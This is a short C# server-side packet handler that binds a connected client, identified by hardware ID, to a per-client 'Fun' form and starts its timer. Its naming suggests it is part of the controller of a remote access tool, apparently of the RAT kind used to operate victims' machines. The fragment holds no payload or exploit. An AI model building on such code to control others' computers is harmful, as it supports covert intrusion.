using Server.Forms; using Server.MessagePack; using Server.Connection; using System; using System.Drawing; using System.IO; using System.Windows.Forms; namespace Server.Handle_Packet { public class HandleFun { public void Fun(Clients client, MsgPack unpack_msgpack) { try { FormFun fun = (FormFun)Application.OpenForms["fun:" + unpack_msgpack.ForcePathObject("Hwid").AsString]; if (fun != null) { if (fun.Client == null) { fun.Client = client; fun.timer1.Enabled = true; } } } catch { } } } }